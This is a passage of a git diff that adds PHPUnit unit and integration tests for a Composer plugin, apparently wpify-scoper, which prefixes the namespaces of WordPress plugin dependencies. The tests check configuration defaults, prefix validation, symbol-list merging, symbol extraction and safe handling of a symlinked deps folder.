'namespace ' . self::PREFIX . '\\POBox;', $this->scoped( 'acme/lib/pobox/Mailer.php' ) ); + } + + public function test_references_to_such_a_namespace_stay_prefixed(): void { + $consumer = $this->scoped( 'acme/lib/src/Consumer.php' ); + + self::assertStringContainsString( 'use ' . self::PREFIX . '\\WPSEO\\Utils;', $consumer ); + self::assertStringContainsString( 'use ' . self::PREFIX . '\\POBox\\Mailer;', $consumer ); + self::assertStringContainsString( '\\' . self::PREFIX . '\\WPSEO\\Utils(', $consumer ); + self::assertStringContainsString( '\\' . self::PREFIX . '\\POBox\\Mailer(', $consumer ); + + self::assertStringNotContainsString( 'use WPSEO\\Utils;', $consumer ); + self::assertStringNotContainsString( 'use POBox\\Mailer;', $consumer ); + } + + public function test_a_vendor_class_whose_name_starts_with_an_excluded_class_stays_prefixed(): void { + self::assertStringContainsString( 'class WPSEO_Utils', $this->scoped( 'acme/lib/src/WPSEO_Utils.php' ) ); + self::assertStringContainsString( 'namespace ' . self::PREFIX . '\\Acme\\Lib;', $this->scoped( 'acme/lib/src/WPSEO_Utils.php' ) ); + self::assertStringContainsString( 'namespace ' . self::PREFIX . '\\Acme\\Lib;', $this->scoped( 'acme/lib/src/POStuff.php' ) ); + } + + // --- what must stay global ------------------------------------------------------------------ + + public function test_wordpress_functions_stay_global(): void { + foreach ( array( 'acme/lib/src/functions.php', 'acme/lib/src/Greeter.php' ) as $file ) { + $contents = $this->scoped( $file ); + + self::assertStringContainsString( 'get_option(', $contents ); + self::assertStringNotContainsString( self::PREFIX . '\\get_option', $contents ); + } + } + + public function test_wordpress_classes_stay_global(): void { + $greeter = $this->scoped( 'acme/lib/src/Greeter.php' ); + + self::assertStringContainsString( 'use WP_Post;', $greeter ); + self::assertStringContainsString( 'use WP_Query;', $greeter ); + self::assertStringNotContainsString( 'use ' . self::PREFIX . '\\WP_Post;', $greeter ); + self::assertStringNotContainsString( 'use ' . self::PREFIX . '\\WP_Query;', $greeter ); + } + + /** + * Both roots are listed in exclude-namespaces, but the referenced symbols sit several + * segments below them. Whole-string matching left these prefixed, which fatals HPOS order + * screens and every SMTP send in production. + */ + public function test_a_child_of_an_excluded_namespace_stays_global(): void { + $integration = $this->scoped( 'acme/lib/src/Integration.php' ); + + $hpos = 'Automattic\\WooCommerce\\Internal\\DataStores\\Orders\\CustomOrdersTableController'; + + self::assertStringContainsString( 'use ' . $hpos . ';', $integration ); + self::assertStringContainsString( '\\' . $hpos . '(', $integration ); + self::assertStringNotContainsString( self::PREFIX . '\\Automattic', $integration ); + + self::assertStringContainsString( 'use PHPMailer\\PHPMailer\\PHPMailer;', $integration ); + self::assertStringNotContainsString( self::PREFIX . '\\PHPMailer', $integration ); + } + + // --- the post-install fixups ------------------------------------------------------------------ + + /** + * Composer dedupes `files` autoloads through a global keyed by an md5 of the package name and + * path, so the scoped and unscoped copies of one package produce the same key and whichever + * autoloader runs second skips its own file. Prefixing the keys keeps the two trees apart. + */ + public function test_the_files_autoload_keys_carry_the_prefix(): void { + $static = $this->scoped( 'composer/autoload_static.php' ); + + self::assertMatchesRegularExpression( '/\$files\s*=\s*array\s*\(/', $static ); + self::assertMatchesRegularExpression( "/'" . strtolower( self::PREFIX ) . "[[:alnum:]]+'\s*=>/", $static ); + } + + public function test_the_exposed_symbols_are_neutralised(): void { + $autoload = $this->scoped( 'scoper-autoload.php' ); + + self::assertDoesNotMatchRegularExpression( '/^humbug_phpscoper_expose_/m', $autoload ); + self::assertDoesNotMatchRegularExpression( '/^if \(!function_exists\(/m', $autoload ); + + // The fixture's vendor declares nothing php-scoper would expose, so this asserts the + // file was rewritten at all rather than that a marker comment is present. + self::assertStringContainsString( '$GLOBALS[\'__composer_autoload_files\']', $autoload ); + } + + // --- the workspace and the sources survive ----------------------------------------------------- + + public function test_no_temporary_directory_is_left_behind(): void { + $leftovers = glob( self::$root . '/tmp-*' ); + + self::assertSame( array(), $leftovers, 'the temp workspace was not cleaned up' ); + } + + /** + * The path repository is mirrored, not symlinked, but the source tree still has to be intact: + * anything that deletes through a link or moves the wrong tree would take it with it. + */ + public function test_the_path_repository_source_tree_is_intact(): void { + foreach ( array( 'composer.json', 'src/Greeter.php', 'src/Integration.php', 'wpseo/Utils.php', 'pobox/Mailer.php' ) as $file ) { + $path = self::$root . '/pkg/acme-lib/' . $file; + + self::assertFileExists( $path ); + self::assertGreaterThan( 0, filesize( $path ) ); + } + + // And it is still the unscoped original. + self::assertStringContainsString( + 'namespace Acme\\Lib;', + (string) file_get_contents( self::$root . '/pkg/acme-lib/src/Greeter.php' ) + ); + } + + /** + * The regression that made the tool destroy data: deps/ was a symlink, and removing it + * followed the link and deleted what it pointed at. + */ + public function test_replacing_a_symlinked_deps_folder_does_not_delete_its_target(): void { + self::assertFileExists( self::$root . '/deps-real/sentinel.txt' ); + self::assertSame( 'must survive the swap', file_get_contents( self::$root . '/deps-real/sentinel.txt' ) ); + + self::assertDirectoryExists( self::$root . '/deps' ); + self::assertFalse( is_link( self::$root . '/deps' ), 'deps/ should be a real directory after the swap' ); + self::assertFileDoesNotExist( self::$root . '/deps-real/scoper-autoload.php' ); + } + + // --- the manifest is only ever read -------------------------------------------------------- + + public function test_the_scoped_manifest_is_not_rewritten(): void { + $manifest = (string) file_get_contents( self::$root . '/composer-deps.json' ); + + self::assertJson( $manifest ); + self::assertStringContainsString( '"acme/lib": "*"', $manifest ); + self::assertStringNotContainsString( 'scripts', $manifest ); + self::assertStringNotContainsString( self::$root . '/tmp-', $manifest ); + } +} diff --git a/tests/Unit/ConfigurationTest.php b/tests/Unit/ConfigurationTest.php new file mode 100644 index 0000000..46c2e27 --- /dev/null +++ b/tests/Unit/ConfigurationTest.php @@ -0,0 +1,240 @@ + $settings + */ + private function config( array $settings, string $rootDir = self::ROOT, string $vendorDir = self::VENDOR ): Configuration { + return Configuration::fromExtra( array( 'wpify-scoper' => $settings ), $rootDir, $vendorDir ); + } + + public function test_it_applies_the_documented_defaults(): void { + $config = $this->config( array( 'prefix' => 'MyPlugin\\Deps' ) ); + + self::assertSame( 'MyPlugin\\Deps', $config->prefix ); + self::assertSame( self::ROOT, $config->rootDir ); + self::assertSame( self::VENDOR, $config->vendorDir ); + self::assertSame( self::ROOT . '/deps', $config->folder ); + self::assertSame( self::ROOT . '/composer-deps.json', $config->composerJson ); + self::assertSame( self::ROOT . '/composer-deps.lock', $config->composerLock ); + self::assertSame( Configuration::DEFAULT_GLOBALS, $config->globals ); + self::assertTrue( $config->autorun ); + self::assertMatchesRegularExpression( '#^' . preg_quote( self::ROOT, '#' ) . '/tmp-[0-9a-f]{10}$#', $config->tempDir ); + } + + public function test_the_temp_directory_is_different_on_every_run(): void { + $first = $this->config( array( 'prefix' => 'A' ) )->tempDir; + $second = $this->config( array( 'prefix' => 'A' ) )->tempDir; + + self::assertNotSame( $first, $second ); + } + + public function test_the_working_directories_live_inside_the_temp_directory(): void { + $config = $this->config( array( 'prefix' => 'A', 'temp' => 'work' ) ); + + self::assertSame( self::ROOT . '/work', $config->tempDir ); + self::assertSame( self::ROOT . '/work/source', $config->sourceDir() ); + self::assertSame( self::ROOT . '/work/destination', $config->destinationDir() ); + } + + public function test_it_honours_every_override_key(): void { + $config = $this->config( array( + 'prefix' => 'Acme\\Vendor', + 'folder' => 'lib', + 'temp' => 'build/tmp', + 'globals' => array( 'wordpress' ), + 'composerjson' => 'deps.json', + 'composerlock' => 'deps.lock', + 'autorun' => false, + ) ); + + self::assertSame( 'Acme\\Vendor', $config->prefix ); + self::assertSame( self::ROOT . '/lib', $config->folder ); + self::assertSame( self::ROOT . '/build/tmp', $config->tempDir ); + self::assertSame( array( 'wordpress' ), $config->globals ); + self::assertSame( self::ROOT . '/deps.json', $config->composerJson ); + self::assertSame( self::ROOT . '/deps.lock', $config->composerLock ); + self::assertFalse( $config->autorun ); + } + + public function test_absolute_paths_are_left_alone(): void { + $config = $this->config( array( + 'prefix' => 'A', + 'folder' => '/srv/build/deps', + 'composerjson' => '/srv/build/deps.json', + ) ); + + self::assertSame( '/srv/build/deps', $config->folder ); + self::assertSame( '/srv/build/deps.json', $config->composerJson ); + } + + public function test_the_root_directory_is_normalised(): void { + $config = $this->config( array( 'prefix' => 'A' ), '/projects/./plugin/sub/..' ); + + self::assertSame( '/projects/plugin', $config->rootDir ); + } + + public function test_an_empty_vendor_dir_falls_back_to_the_project_vendor(): void { + self::assertSame( self::ROOT . '/vendor', $this->config( array( 'prefix' => 'A' ), self::ROOT, '' )->vendorDir ); + } + + // --- extra.wpify-scoper presence ------------------------------------------------------- + + public function test_an_absent_block_is_a_no_op(): void { + self::assertFalse( Configuration::isConfigured( array() ) ); + self::assertFalse( Configuration::isConfigured( array( 'other-plugin' => array( 'a' => 1 ) ) ) ); + } + + public function test_a_non_array_block_is_a_no_op(): void { + self::assertFalse( Configuration::isConfigured( array( 'wpify-scoper' => 'yes' ) ) ); + self::assertFalse( Configuration::isConfigured( array( 'wpify-scoper' => true ) ) ); + } + + public function test_an_empty_block_still_counts_as_configured(): void { + // The block is the opt-in. Present-but-empty is a misconfiguration, not an opt-out, so it + // has to reach the prefix validation rather than silently doing nothing. + self::assertTrue( Configuration::isConfigured( array( 'wpify-scoper' => array() ) ) ); + } + + public function test_a_present_block_without_a_prefix_throws(): void { + $this->expectException( RuntimeException::class ); + $this->expectExceptionMessage( 'extra.wpify-scoper.prefix is missing in /projects/plugin/composer.json' ); + + $this->config( array( 'folder' => 'deps' ) ); + } + + // --- prefix validation ------------------------------------------------------------------ + + /** + * @return iterable + */ + public static function invalidPrefixes(): iterable { + yield 'empty string' => array( '' ); + yield 'zero string' => array( '0' ); + yield 'hyphen' => array( 'My-Ns' ); + yield 'leading digit' => array( '1Foo' ); + yield 'leading separator' => array( '\\Lead' ); + yield 'trailing separator' => array( 'Trail\\' ); + yield 'empty segment' => array( 'A\\\\B' ); + yield 'space' => array( 'My Ns' ); + yield 'not a string' => array( 123 ); + yield 'null' => array( null ); + yield 'array' => array( array( 'A' ) ); + } + + #[DataProvider( 'invalidPrefixes' )] + public function test_it_rejects_an_invalid_prefix( mixed $prefix ): void { + $this->expectException( RuntimeException::class ); + + $this->config( array( 'prefix' => $prefix ) ); + } + + /** + * @return iterable + */ + public static function validPrefixes(): iterable { + yield 'single segment' => array( 'MyPlugin' ); + yield 'two segments' => array( 'A\\B' ); + yield 'many segments' => array( 'Acme\\Plugin\\Vendor' ); + yield 'underscore' => array( '_Private\\Deps' ); + yield 'digits after first' => array( 'Ns2\\V3' ); + yield 'unicode' => array( 'Ünïcode' ); + } + + #[DataProvider( 'validPrefixes' )] + public function test_it_accepts_a_valid_prefix( string $prefix ): void { + self::assertSame( $prefix, $this->config( array( 'prefix' => $prefix ) )->prefix ); + } + + public function test_the_error_names_the_offending_prefix_and_the_file(): void { + $this->expectException( RuntimeException::class ); + $this->expectExceptionMessage( '"My-Ns" in /projects/plugin/composer.json is not a valid PHP namespace' ); + + $this->config( array( 'prefix' => 'My-Ns' ) ); + } + + // --- composerlock derivation ------------------------------------------------------------- + + /** + * @return iterable + */ + public static function lockDerivations(): iterable { + yield 'default' => array( 'composer-deps.json', 'composer-deps.lock' ); + yield 'custom name' => array( 'scoped.json', 'scoped.lock' ); + yield 'nested' => array( 'build/scoped.json', 'build/scoped.lock' ); + yield 'json in the middle' => array( 'my.json.deps.json', 'my.json.deps.lock' ); + yield 'no json suffix' => array( 'deps-manifest', 'deps-manifest' ); + } + + #[DataProvider( 'lockDerivations' )] + public function test_the_lock_file_is_derived_from_the_manifest( string $json, string $lock ): void { + $config = $this->config( array( 'prefix' => 'A', 'composerjson' => $json ) ); + + self::assertSame( self::ROOT . '/' . $json, $config->composerJson ); + self::assertSame( self::ROOT . '/' . $lock, $config->composerLock ); + } + + public function test_an_explicit_lock_wins_over_the_derived_one(): void { + $config = $this->config( array( + 'prefix' => 'A', + 'composerjson' => 'scoped.json', + 'composerlock' => 'elsewhere/other.lock', + ) ); + + self::assertSame( self::ROOT . '/elsewhere/other.lock', $config->composerLock ); + } + + // --- globals ----------------------------------------------------------------------------- + + public function test_an_empty_globals_list_falls_back_to_the_defaults(): void { + // Preserved verbatim from the previous implementation: `! empty()` treated [] as absent. + self::assertSame( Configuration::DEFAULT_GLOBALS, $this->config( array( 'prefix' => 'A', 'globals' => array() ) )->globals ); + } + + public function test_a_non_array_globals_value_falls_back_to_the_defaults(): void { + self::assertSame( Configuration::DEFAULT_GLOBALS, $this->config( array( 'prefix' => 'A', 'globals' => 'wordpress' ) )->globals ); + } + + public function test_globals_entries_are_coerced_to_strings_and_reindexed(): void { + $config = $this->config( array( 'prefix' => 'A', 'globals' => array( 3 => 'wordpress', 7 => 'wp-cli' ) ) ); + + self::assertSame( array( 'wordpress', 'wp-cli' ), $config->globals ); + } + + // --- autorun ----------------------------------------------------------------------------- + + /** + * @return iterable, bool}> + */ + public static function autorunValues(): iterable { + yield 'absent' => array( array(), true ); + yield 'true' => array( array( 'autorun' => true ), true ); + yield 'false' => array( array( 'autorun' => false ), false ); + yield 'null' => array( array( 'autorun' => null ), true ); + // Only a literal `false` opts out - preserved verbatim from the previous implementation, + // where the string "false" (a common JSON mistake) left autorun enabled. + yield 'string "false"' => array( array( 'autorun' => 'false' ), true ); + yield 'zero' => array( array( 'autorun' => 0 ), true ); + } + + /** + * @param array $settings + */ + #[DataProvider( 'autorunValues' )] + public function test_autorun_only_opts_out_on_a_literal_false( array $settings, bool $expected ): void { + self::assertSame( $expected, $this->config( $settings + array( 'prefix' => 'A' ) )->autorun ); + } +} diff --git a/tests/Unit/PluginTest.php b/tests/Unit/PluginTest.php new file mode 100644 index 0000000..52307f2 --- /dev/null +++ b/tests/Unit/PluginTest.php @@ -0,0 +1,136 @@ + $extra + */ + private function composer( array $extra ): Composer { + $package = new RootPackage( 'acme/plugin', '1.0.0.0', '1.0.0' ); + $package->setExtra( $extra ); + + $config = new Config( false, sys_get_temp_dir() ); + + // Composer\Factory always sets one; Configuration reads the resolved path off it so that + // it stays correct under --working-dir, COMPOSER= and `composer global`. + $config->setConfigSource( new JsonConfigSource( new JsonFile( sys_get_temp_dir() . '/composer.json' ) ) ); + + $composer = new Composer(); + $composer->setPackage( $package ); + $composer->setConfig( $config ); + + return $composer; + } + + public function test_it_is_a_composer_plugin(): void { + $plugin = new Plugin(); + + self::assertInstanceOf( PluginInterface::class, $plugin ); + self::assertInstanceOf( Capable::class, $plugin ); + } + + /** + * Composer instantiates the declared capability class and then asserts it implements the + * capability interface. Pointing the capability at a class that does not - which is what the + * plugin used to do - makes every `composer list` in the project throw. + */ + public function test_the_declared_capability_class_implements_the_capability(): void { + $capabilities = ( new Plugin() )->getCapabilities(); + + self::assertArrayHasKey( ComposerCommandProvider::class, $capabilities ); + + $class = $capabilities[ ComposerCommandProvider::class ]; + $provider = new $class( array( 'composer' => null, 'io' => null, 'plugin' => null ) ); + + self::assertInstanceOf( ComposerCommandProvider::class, $provider ); + } + + public function test_the_capability_provides_the_scoper_command(): void { + $commands = ( new CommandProvider() )->getCommands(); + + self::assertCount( 1, $commands ); + self::assertInstanceOf( ScoperCommand::class, $commands[0] ); + self::assertSame( 'wpify-scoper', $commands[0]->getName() ); + } + + public function test_it_subscribes_to_both_script_events(): void { + $events = Plugin::getSubscribedEvents(); + + self::assertSame( + array( ScriptEvents::POST_INSTALL_CMD => 'execute', ScriptEvents::POST_UPDATE_CMD => 'execute' ), + $events + ); + } + + // --- the global-install contract ------------------------------------------------------------ + + public function test_a_project_that_does_not_configure_the_plugin_yields_no_configuration(): void { + self::assertNull( Configuration::fromComposer( $this->composer( array() ) ) ); + self::assertNull( Configuration::fromComposer( $this->composer( array( 'other-plugin' => array( 'x' => 1 ) ) ) ) ); + } + + public function test_activating_on_an_unconfigured_project_is_silent(): void { + $io = new BufferIO( '', OutputInterface::VERBOSITY_VERY_VERBOSE ); + + ( new Plugin() )->activate( $this->composer( array() ), $io ); + + self::assertSame( '', $io->getOutput() ); + } + + public function test_activating_on_a_configured_project_reports_the_resolved_settings(): void { + $io = new BufferIO( '', OutputInterface::VERBOSITY_VERY_VERBOSE ); + + ( new Plugin() )->activate( + $this->composer( array( 'wpify-scoper' => array( 'prefix' => 'Acme\\Deps' ) ) ), + $io + ); + + $output = $io->getOutput(); + + self::assertStringContainsString( 'prefix "Acme\\Deps"', $output ); + self::assertStringContainsString( 'folder "', $output ); + } + + public function test_a_configured_project_yields_a_configuration(): void { + $config = Configuration::fromComposer( + $this->composer( array( 'wpify-scoper' => array( 'prefix' => 'Acme\\Deps' ) ) ) + ); + + self::assertNotNull( $config ); + self::assertSame( 'Acme\\Deps', $config->prefix ); + } + + // --- the re-entrancy guard -------------------------------------------------------------------- + + public function test_the_running_flag_is_not_set_outside_a_run(): void { + self::assertFalse( \Wpify\Scoper\Scoper::isRunning() ); + } +} diff --git a/tests/Unit/ScoperConfigFactoryTest.php b/tests/Unit/ScoperConfigFactoryTest.php new file mode 100644 index 0000000..fd23661 --- /dev/null +++ b/tests/Unit/ScoperConfigFactoryTest.php @@ -0,0 +1,189 @@ +tempDir = sys_get_temp_dir() . '/wpify-scoper-factory-' . bin2hex( random_bytes( 6 ) ); + $this->io = new BufferIO(); + } + + protected function tearDown(): void { + ( new Filesystem() )->removeDirectory( $this->tempDir ); + } + + /** + * @param list $globals + * + * @return array + */ + private function build( array $globals ): array { + $config = Configuration::fromExtra( + array( 'wpify-scoper' => array( 'prefix' => 'Acme\\Deps', 'globals' => $globals, 'temp' => $this->tempDir ) ), + $this->tempDir . '/root', + $this->tempDir . '/root/vendor' + ); + + $path = ( new ScoperConfigFactory( $config, $this->io, new Filesystem(), dirname( __DIR__, 2 ) ) ) + ->create( '/src', '/dest' ); + + self::assertFileExists( $path ); + + $written = require $this->tempDir . '/scoper.config.php'; + + self::assertIsArray( $written ); + + return $written; + } + + /** + * `globals: []` falls back to the defaults, so the empty case has to be forced past + * {@see Configuration} - which is exactly what a project that lists only unknown names does. + * + * @return array + */ + private function buildWithNoSymbolLists(): array { + return $this->build( array( 'nothing-here' ) ); + } + + public function test_it_writes_the_files_php_scoper_needs(): void { + $this->build( array( 'wordpress' ) ); + + self::assertFileExists( $this->tempDir . '/scoper.inc.php' ); + self::assertFileExists( $this->tempDir . '/scoper.config.php' ); + // The patcher's collaborator has to travel with the config: php-scoper runs it from + // inside its phar, where this package's autoloader does not exist. + self::assertFileExists( $this->tempDir . '/SymbolUnprefixer.php' ); + } + + public function test_it_carries_the_prefix_source_and_destination_through(): void { + $config = $this->build( array( 'wordpress' ) ); + + self::assertSame( 'Acme\\Deps', $config['prefix'] ); + self::assertSame( '/src', $config['source'] ); + self::assertSame( '/dest', $config['destination'] ); + } + + public function test_an_empty_symbol_set_still_produces_the_keys_the_patcher_reads(): void { + // Regression guard: without the seed, config/scoper.inc.php read an undefined key and + // blew up with a TypeError from inside a php-scoper patcher, mid-scope. + $config = $this->buildWithNoSymbolLists(); + + self::assertArrayHasKey( 'exclude-classes', $config ); + self::assertArrayHasKey( 'exclude-namespaces', $config ); + self::assertSame( array(), $config['exclude-classes'] ); + self::assertSame( array(), $config['exclude-namespaces'] ); + } + + public function test_the_constant_exclusions_are_seeded_before_the_symbol_lists_merge(): void { + self::assertSame( array( 'NULL', 'TRUE', 'FALSE' ), $this->buildWithNoSymbolLists()['exclude-constants'] ); + + // And the seeds survive the merge with a real list rather than being replaced by it. + self::assertSame( + array( 'NULL', 'TRUE', 'FALSE' ), + array_slice( $this->build( array( 'wordpress' ) )['exclude-constants'], 0, 3 ) + ); + } + + /** + * @return iterable}> + */ + public static function knownGlobals(): iterable { + yield 'wordpress' => array( array( 'wordpress' ) ); + yield 'woocommerce' => array( array( 'woocommerce' ) ); + yield 'action-scheduler' => array( array( 'action-scheduler' ) ); + yield 'wp-cli' => array( array( 'wp-cli' ) ); + } + + /** + * @param list $globals + */ + #[DataProvider( 'knownGlobals' )] + public function test_every_shipped_symbol_list_loads( array $globals ): void { + $config = $this->build( $globals ); + + self::assertNotSame( array(), $config['exclude-classes'] ); + self::assertSame( '', $this->io->getOutput() ); + } + + public function test_merging_two_symbol_lists_de_duplicates(): void { + // WooCommerce bundles all of Action Scheduler, so the two lists genuinely overlap and + // array_merge_recursive() - which concatenates rather than de-duplicates - would double up. + $merged = $this->build( array( 'woocommerce', 'action-scheduler' ) ); + + foreach ( array( 'exclude-classes', 'exclude-functions', 'exclude-constants', 'exclude-namespaces' ) as $key ) { + self::assertSame( + array_values( array_unique( $merged[ $key ] ) ), + $merged[ $key ], + sprintf( '%s contains duplicates', $key ) + ); + } + } + + public function test_the_merge_covers_the_union_of_both_lists(): void { + $woo = $this->build( array( 'woocommerce' ) ); + $as = $this->build( array( 'action-scheduler' ) ); + $merged = $this->build( array( 'woocommerce', 'action-scheduler' ) ); + + self::assertSame( + array(), + array_diff( array_merge( $woo['exclude-classes'], $as['exclude-classes'] ), $merged['exclude-classes'] ) + ); + } + + public function test_the_merge_is_order_independent(): void { + $forwards = $this->build( array( 'wordpress', 'wp-cli' ) ); + $backwards = $this->build( array( 'wp-cli', 'wordpress' ) ); + + self::assertSame( $forwards, $backwards ); + } + + public function test_an_unknown_global_warns_rather_than_fatals(): void { + $config = $this->build( array( 'wordpress', 'wordpres' ) ); + + self::assertNotSame( array(), $config['exclude-classes'] ); + self::assertStringContainsString( 'unknown extra.wpify-scoper.globals entry "wordpres"', $this->io->getOutput() ); + self::assertStringContainsString( 'Known values: action-scheduler, woocommerce, wordpress, wp-cli', $this->io->getOutput() ); + } + + public function test_a_removed_global_warns_with_the_reason(): void { + $this->build( array( 'plugin-update-checker' ) ); + + $output = $this->io->getOutput(); + + self::assertStringContainsString( '"plugin-update-checker" is deprecated and ignored', $output ); + self::assertStringContainsString( 'Remove it from your composer.json', $output ); + } + + public function test_a_scoper_custom_php_in_the_project_root_is_picked_up(): void { + $root = $this->tempDir . '/root'; + + ( new Filesystem() )->ensureDirectoryExists( $root ); + file_put_contents( $root . '/scoper.custom.php', 'build( array( 'wordpress' ) ); + + self::assertFileExists( $this->tempDir . '/scoper.custom.php' ); + self::assertStringContainsString( 'using the customizations from', $this->io->getOutput() ); + } + + public function test_no_scoper_custom_php_is_not_an_error(): void { + $this->build( array( 'wordpress' ) ); + + self::assertFileDoesNotExist( $this->tempDir . '/scoper.custom.php' ); + } +} diff --git a/tests/Unit/SymbolExtractorTest.php b/tests/Unit/SymbolExtractorTest.php new file mode 100644 index 0000000..3006826 --- /dev/null +++ b/tests/Unit/SymbolExtractorTest.php @@ -0,0 +1,223 @@ +> + */ + private function extract(): array { + $extractor = new SymbolExtractor(); + $symbols = $extractor->extract( self::inputDir() ); + + self::assertSame( array(), $extractor->errors(), 'the fixture tree must parse cleanly' ); + + return $symbols; + } + + public function test_the_rendered_output_matches_the_golden_file(): void { + $rendered = ( new SymbolExtractor() )->render( $this->extract(), self::PACKAGE, self::VERSION, self::DATE ); + + if ( '' !== (string) getenv( 'UPDATE_SNAPSHOTS' ) ) { + file_put_contents( self::expectedFile(), $rendered ); + + self::markTestSkipped( 'snapshot updated: ' . self::expectedFile() ); + } + + self::assertStringEqualsFile( self::expectedFile(), $rendered ); + } + + public function test_the_golden_file_is_loadable_php_and_round_trips(): void { + $loaded = require self::expectedFile(); + + self::assertIsArray( $loaded ); + self::assertSame( $this->extract(), $loaded ); + } + + /** + * The rendered file must not use explicit integer keys: inserting one symbol would otherwise + * renumber every line below it and turn a one-symbol change into a thousand-line diff. + */ + public function test_the_rendered_output_is_a_plain_list(): void { + $rendered = ( new SymbolExtractor() )->render( $this->extract(), self::PACKAGE, self::VERSION, self::DATE ); + + self::assertStringNotContainsString( '0 => ', $rendered ); + self::assertStringContainsString( ' * source: ' . self::PACKAGE, $rendered ); + self::assertStringContainsString( ' * version: ' . self::VERSION, $rendered ); + self::assertStringContainsString( ' * generated: ' . self::DATE, $rendered ); + } + + // --- the individual visitor branches ------------------------------------------------------ + + /** + * @return iterable + */ + public static function collectedSymbols(): iterable { + yield 'class' => array( 'exclude-classes', 'Fixture_Widget' ); + yield 'abstract class' => array( 'exclude-classes', 'Fixture_Abstract_Widget' ); + yield 'final class' => array( 'exclude-classes', 'Fixture_Final_Widget' ); + yield 'interface' => array( 'exclude-classes', 'Fixture_Renderable' ); + yield 'trait' => array( 'exclude-classes', 'Fixture_Renders' ); + yield 'enum' => array( 'exclude-classes', 'Fixture_Status' ); + yield 'class behind class_exists' => array( 'exclude-classes', 'Fixture_Guarded' ); + yield 'class in an else branch' => array( 'exclude-classes', 'Fixture_From_Else' ); + yield 'class in an if branch' => array( 'exclude-classes', 'Fixture_From_If' ); + yield 'class_alias' => array( 'exclude-classes', 'Fixture_Guarded_Alias' ); + yield 'class_alias in a namespace' => array( 'exclude-classes', 'Fixture_Namespaced_Alias' ); + yield 'class in a braced global ns' => array( 'exclude-classes', 'Fixture_Global_From_Braced' ); + yield 'function' => array( 'exclude-functions', 'fixture_render_widget' ); + yield 'function behind exists check' => array( 'exclude-functions', 'fixture_guarded_function' ); + yield 'function in a function body' => array( 'exclude-functions', 'fixture_cdata' ); + yield 'function in a braced glob ns' => array( 'exclude-functions', 'fixture_global_from_braced' ); + yield 'top-level const' => array( 'exclude-constants', 'FIXTURE_CONST_A' ); + yield 'second const on one line' => array( 'exclude-constants', 'FIXTURE_CONST_C' ); + yield 'const in a braced global ns' => array( 'exclude-constants', 'FIXTURE_GLOBAL_FROM_BRACED' ); + yield 'top-level define' => array( 'exclude-constants', 'FIXTURE_DEFINED_TOP_LEVEL' ); + yield 'define in a function body' => array( 'exclude-constants', 'FIXTURE_DEFINED_IN_FUNCTION' ); + yield 'deeply nested define' => array( 'exclude-constants', 'FIXTURE_DEEPLY_DEFINED' ); + yield 'define inside a namespace' => array( 'exclude-constants', 'FIXTURE_DEFINED_IN_NAMESPACE' ); + yield 'define in a braced global ns' => array( 'exclude-constants', 'FIXTURE_DEFINED_IN_BRACED_GLOBAL' ); + yield 'namespace' => array( 'exclude-namespaces', 'Fixture\\Vendor\\Feature' ); + yield 'braced namespace' => array( 'exclude-namespaces', 'Fixture\\Braced' ); + } + + #[DataProvider( 'collectedSymbols' )] + public function test_it_collects( string $category, string $symbol ): void { + self::assertContains( $symbol, $this->extract()[ $category ] ); + } + + /** + * @return iterable + */ + public static function skippedSymbols(): iterable { + yield 'a class under tests/' => array( 'exclude-classes', 'Fixture_Must_Not_Be_Collected_Tests' ); + yield 'a function under tests/' => array( 'exclude-functions', 'fixture_must_not_be_collected_tests' ); + yield 'a class under vendor/' => array( 'exclude-classes', 'Fixture_Must_Not_Be_Collected_Vendor' ); + yield 'a class in a .txt file' => array( 'exclude-classes', 'Fixture_Must_Not_Be_Collected_Text' ); + // Everything inside a named namespace is already covered by the namespace entry. + yield 'a class inside a namespace' => array( 'exclude-classes', 'NamespacedWidget' ); + yield 'a function inside a namespace' => array( 'exclude-functions', 'namespaced_function' ); + yield 'a const inside a namespace' => array( 'exclude-constants', 'NAMESPACED_CONST' ); + yield 'a class in a braced namespace' => array( 'exclude-classes', 'BracedWidget' ); + yield 'a function in a braced ns' => array( 'exclude-functions', 'braced_function' ); + } + + #[DataProvider( 'skippedSymbols' )] + public function test_it_skips( string $category, string $symbol ): void { + self::assertNotContains( $symbol, $this->extract()[ $category ] ); + } + + public function test_an_anonymous_class_is_not_collected(): void { + foreach ( $this->extract()['exclude-classes'] as $class ) { + self::assertNotSame( '', $class ); + self::assertStringNotContainsString( '@anonymous', $class ); + } + } + + public function test_a_dynamic_define_or_alias_is_skipped_rather_than_guessed_at(): void { + $symbols = $this->extract(); + + foreach ( $symbols['exclude-constants'] as $constant ) { + self::assertStringNotContainsString( 'DYNAMIC', $constant ); + } + + // class_alias() with a variable second argument yields nothing at all. + self::assertSame( + array( 'Fixture_Guarded_Alias', 'Fixture_Namespaced_Alias' ), + array_values( array_filter( + $symbols['exclude-classes'], + static fn ( string $class ): bool => str_contains( $class, 'Alias' ) + ) ) + ); + } + + // --- output shape ------------------------------------------------------------------------- + + public function test_every_category_is_present_sorted_and_unique(): void { + $symbols = $this->extract(); + + self::assertSame( SymbolExtractor::CATEGORIES, array_keys( $symbols ) ); + + foreach ( $symbols as $category => $values ) { + self::assertSame( array_values( array_unique( $values ) ), $values, $category . ' has duplicates' ); + + $sorted = $values; + sort( $sorted, SORT_STRING ); + + self::assertSame( $sorted, $values, $category . ' is not sorted' ); + self::assertSame( array_keys( $values ), range( 0, count( $values ) - 1 ), $category . ' is not a list' ); + } + } + + public function test_the_result_does_not_depend_on_the_filesystem_order(): void { + self::assertSame( $this->extract(), $this->extract() ); + } + + public function test_the_symbol_count_matches_the_categories(): void { + $symbols = $this->extract(); + + self::assertSame( + count( $symbols['exclude-classes'] ) + count( $symbols['exclude-constants'] ) + + count( $symbols['exclude-functions'] ) + count( $symbols['exclude-namespaces'] ), + SymbolExtractor::count( $symbols ) + ); + } + + // --- failure handling --------------------------------------------------------------------- + + public function test_a_parse_error_is_reported_rather_than_swallowed(): void { + $file = tempnam( sys_get_temp_dir(), 'wpify-scoper-broken' ) . '.php'; + + file_put_contents( $file, 'extractFile( $file ); + + self::assertSame( array(), $symbols['exclude-classes'] ); + self::assertCount( 1, $extractor->errors() ); + self::assertStringContainsString( 'parse error', $extractor->errors()[0] ); + } finally { + @unlink( $file ); + } + } + + public function test_an_unreadable_directory_yields_nothing_rather_than_throwing(): void { + $extractor = new SymbolExtractor(); + + self::assertSame( array(), $extractor->files( '/no/such/directory', '/no/such' ) ); + self::assertSame( + array_fill_keys( SymbolExtractor::CATEGORIES, array() ), + $extractor->extract( '/no/such/directory' ) + ); + } +} diff --git a/tests/Unit/SymbolUnprefixerTest.php 